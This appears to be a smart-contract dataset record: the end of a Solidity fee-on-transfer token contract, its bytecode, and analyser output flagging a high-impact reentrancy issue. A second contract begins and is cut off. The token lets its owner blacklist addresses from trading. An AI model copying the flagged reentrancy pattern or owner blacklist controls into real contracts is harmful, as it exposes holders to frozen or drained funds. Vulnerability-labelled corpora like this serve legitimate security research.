_isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b55565b60405180910390f35b34801561015b57600080fd5b506101766004803603810190610171919061267f565b610492565b6040516101839190612b3a565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612cd7565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061262c565b6104c4565b6040516101eb9190612b3a565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612592565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612d4c565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612708565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612592565b6107ba565b6040516102bc9190612cd7565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612762565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612a6c565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612b55565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061267f565b610a65565b60405161038f9190612b3a565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126bf565b610a83565b005b3480156103cd57600080fd5b506103d6610bad565b005b3480156103e457600080fd5b506103ed610c27565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612762565b611189565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125ec565b61122a565b60405161044c9190612cd7565b60405180910390f35b60606040518060400160405280600581526020017f474d6f6f6e000000000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112b1565b84846112b9565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d1848484611484565b610592846104dd6112b1565b61058d8560405180606001604052806028815260200161342a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119629092919063ffffffff16565b6112b9565b600190509392505050565b6105a56112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c37565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c37565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112b1565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119c6565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac1565b9050919050565b6108136112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112b1565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612b97565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f474d4f4f4e000000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112b1565b8484611484565b6001905092915050565b610a8b6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c37565b60405180910390fd5b60005b8151811015610ba957600160066000848481518110610b3d57610b3c613094565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba190612fed565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bee6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614610c0e57600080fd5b6000610c19306107ba565b9050610c2481611b2f565b50565b610c2f6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390612c37565b60405180910390fd5b600f60149054906101000a900460ff1615610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612cb7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de557600080fd5b505afa158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d91906125bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7f57600080fd5b505afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb791906125bf565b6040518363ffffffff1660e01b8152600401610ed4929190612a87565b602060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2691906125bf565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610faf306107ba565b600080610fba6109ff565b426040518863ffffffff1660e01b8152600401610fdc96959493929190612ad9565b6060604051808303818588803b158015610ff557600080fd5b505af1158015611009573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102e919061278f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611133929190612ab0565b602060405180830381600087803b15801561114d57600080fd5b505af1158015611161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111859190612735565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ca6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612b97565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090612c97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090612bd7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114779190612cd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb90612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90612b77565b60405180910390fd5b600081116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90612c57565b60405180910390fd5b6115af6109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed6109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750600f60179054906101000a900460ff165b15611898576010548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190612e0d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118a3306107ba565b9050600f60159054906101000a900460ff161580156119105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119285750600f60169054906101000a900460ff165b156119505761193681611b2f565b6000479050600081111561194e5761194d476119c6565b5b505b505b61195d838383611db7565b505050565b60008383111582906119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a19190612b55565b60405180910390fd5b50600083856119b99190612eee565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a16600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a41573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a92600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611abd573d6000803e3d6000fd5b5050565b6000600854821115611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff90612bb7565b60405180910390fd5b6000611b12611e11565b9050611b278184611dc790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6757611b666130c3565b5b604051908082528060200260200182016040528015611b955781602001602082028036833780820191505090505b5090503081600081518110611bad57611bac613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4f57600080fd5b505afa158015611c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8791906125bf565b81600181518110611c9b57611c9a613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d66959493929190612cf2565b600060405180830381600087803b158015611d8057600080fd5b505af1158015611d94573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dc2838383611e3c565b505050565b6000611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612007565b905092915050565b6000806000611e1e61206a565b91509150611e358183611dc790919063ffffffff16565b9250505090565b600080600080600080611e4e876120d5565b955095509550955095509550611eac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8d816121e5565b611f9784836122a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff49190612cd7565b60405180910390a3505050505050505050565b6000808311829061204e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120459190612b55565b60405180910390fd5b506000838561205d9190612e63565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120a66b033b2e3c9fd0803ce8000000600854611dc790919063ffffffff16565b8210156120c8576008546b033b2e3c9fd0803ce80000009350935050506120d1565b81819350935050505b9091565b60008060008060008060008060006120f28a600a54600b546122dc565b9250925092506000612102611e11565b905060008060006121158e878787612372565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611962565b905092915050565b60008082846121969190612e0d565b9050838110156121db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d290612bf7565b60405180910390fd5b8091505092915050565b60006121ef611e11565b9050600061220682846123fb90919063ffffffff16565b905061225a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122b78260085461213d90919063ffffffff16565b6008819055506122d28160095461218790919063ffffffff16565b6009819055505050565b60008060008061230860646122fa888a6123fb90919063ffffffff16565b611dc790919063ffffffff16565b905060006123326064612324888b6123fb90919063ffffffff16565b611dc790919063ffffffff16565b9050600061235b8261234d858c61213d90919063ffffffff16565b61213d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238b85896123fb90919063ffffffff16565b905060006123a286896123fb90919063ffffffff16565b905060006123b987896123fb90919063ffffffff16565b905060006123e2826123d4858761213d90919063ffffffff16565b61213d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561240e5760009050612470565b6000828461241c9190612e94565b905082848261242b9190612e63565b1461246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246290612c17565b60405180910390fd5b809150505b92915050565b600061248961248484612d8c565b612d67565b905080838252602082019050828560208602820111156124ac576124ab6130f7565b5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816133e4565b92915050565b60008151905061250a816133e4565b92915050565b600082601f830112612525576125246130f2565b5b8135612535848260208601612476565b91505092915050565b60008135905061254d816133fb565b92915050565b600081519050612562816133fb565b92915050565b60008135905061257781613412565b92915050565b60008151905061258c81613412565b92915050565b6000602082840312156125a8576125a7613101565b5b60006125b6848285016124e6565b91505092915050565b6000602082840312156125d5576125d4613101565b5b60006125e3848285016124fb565b91505092915050565b6000806040838503121561260357612602613101565b5b6000612611858286016124e6565b9250506020612622858286016124e6565b9150509250929050565b60008060006060848603121561264557612644613101565b5b6000612653868287016124e6565b9350506020612664868287016124e6565b925050604061267586828701612568565b9150509250925092565b6000806040838503121561269657612695613101565b5b60006126a4858286016124e6565b92505060206126b585828601612568565b9150509250929050565b6000602082840312156126d5576126d4613101565b5b600082013567ffffffffffffffff8111156126f3576126f26130fc565b5b6126ff84828501612510565b91505092915050565b60006020828403121561271e5761271d613101565b5b600061272c8482850161253e565b91505092915050565b60006020828403121561274b5761274a613101565b5b600061275984828501612553565b91505092915050565b60006020828403121561277857612777613101565b5b600061278684828501612568565b91505092915050565b6000806000606084860312156127a8576127a7613101565b5b60006127b68682870161257d565b93505060206127c78682870161257d565b92505060406127d88682870161257d565b9150509250925092565b60006127ee83836127fa565b60208301905092915050565b61280381612f22565b82525050565b61281281612f22565b82525050565b600061282382612dc8565b61282d8185612deb565b935061283883612db8565b8060005b8381101561286957815161285088826127e2565b975061285b83612dde565b92505060018101905061283c565b5085935050505092915050565b61287f81612f34565b82525050565b61288e81612f77565b82525050565b600061289f82612dd3565b6128a98185612dfc565b93506128b9818560208601612f89565b6128c281613106565b840191505092915050565b60006128da602383612dfc565b91506128e582613117565b604082019050919050565b60006128fd600c83612dfc565b915061290882613166565b602082019050919050565b6000612920602a83612dfc565b915061292b8261318f565b604082019050919050565b6000612943602283612dfc565b915061294e826131de565b604082019050919050565b6000612966601b83612dfc565b91506129718261322d565b602082019050919050565b6000612989602183612dfc565b915061299482613256565b604082019050919050565b60006129ac602083612dfc565b91506129b7826132a5565b602082019050919050565b60006129cf602983612dfc565b91506129da826132ce565b604082019050919050565b60006129f2602583612dfc565b91506129fd8261331d565b604082019050919050565b6000612a15602483612dfc565b9150612a208261336c565b604082019050919050565b6000612a38601783612dfc565b9150612a43826133bb565b602082019050919050565b612a5781612f60565b82525050565b612a6681612f6a565b82525050565b6000602082019050612a816000830184612809565b92915050565b6000604082019050612a9c6000830185612809565b612aa96020830184612809565b9392505050565b6000604082019050612ac56000830185612809565b612ad26020830184612a4e565b9392505050565b600060c082019050612aee6000830189612809565b612afb6020830188612a4e565b612b086040830187612885565b612b156060830186612885565b612b226080830185612809565b612b2f60a0830184612a4e565b979650505050505050565b6000602082019050612b4f6000830184612876565b92915050565b60006020820190508181036000830152612b6f8184612894565b905092915050565b60006020820190508181036000830152612b90816128cd565b9050919050565b60006020820190508181036000830152612bb0816128f0565b9050919050565b60006020820190508181036000830152612bd081612913565b9050919050565b60006020820190508181036000830152612bf081612936565b9050919050565b60006020820190508181036000830152612c1081612959565b9050919050565b60006020820190508181036000830152612c308161297c565b9050919050565b60006020820190508181036000830152612c508161299f565b9050919050565b60006020820190508181036000830152612c70816129c2565b9050919050565b60006020820190508181036000830152612c90816129e5565b9050919050565b60006020820190508181036000830152612cb081612a08565b9050919050565b60006020820190508181036000830152612cd081612a2b565b9050919050565b6000602082019050612cec6000830184612a4e565b92915050565b600060a082019050612d076000830188612a4e565b612d146020830187612885565b8181036040830152612d268186612818565b9050612d356060830185612809565b612d426080830184612a4e565b9695505050505050565b6000602082019050612d616000830184612a5d565b92915050565b6000612d71612d82565b9050612d7d8282612fbc565b919050565b6000604051905090565b600067ffffffffffffffff821115612da757612da66130c3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e1882612f60565b9150612e2383612f60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e5857612e57613036565b5b828201905092915050565b6000612e6e82612f60565b9150612e7983612f60565b925082612e8957612e88613065565b5b828204905092915050565b6000612e9f82612f60565b9150612eaa83612f60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ee357612ee2613036565b5b828202905092915050565b6000612ef982612f60565b9150612f0483612f60565b925082821015612f1757612f16613036565b5b828203905092915050565b6000612f2d82612f40565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f8282612f60565b9050919050565b60005b83811015612fa7578082015181840152602081019050612f8c565b83811115612fb6576000848401525b50505050565b612fc582613106565b810181811067ffffffffffffffff82111715612fe457612fe36130c3565b5b80604052505050565b6000612ff882612f60565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561302b5761302a613036565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ed81612f22565b81146133f857600080fd5b50565b61340481612f34565b811461340f57600080fd5b50565b61341b81612f60565b811461342657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200da07765aab6c00f21179c7ad33baba7195c12d2060d7dd76d078a91652e32e464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,063
0x03452e69ffcd9c45ca34ff4d9ba2209d38a8d56a
pragma solidity 0.5.1; library SafeMath { uint256 constant internal MAX_UINT = 2 ** 256 - 1; // max uint256 /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns(uint256) { if (_a == 0) { return 0; } require(MAX_UINT / _a >= _b); return _a * _b; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns(uint256) { require(_b != 0); return _a / _b; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns(uint256) { require(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns(uint256) { require(MAX_UINT - _a >= _b); return _a + _b; } } contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } 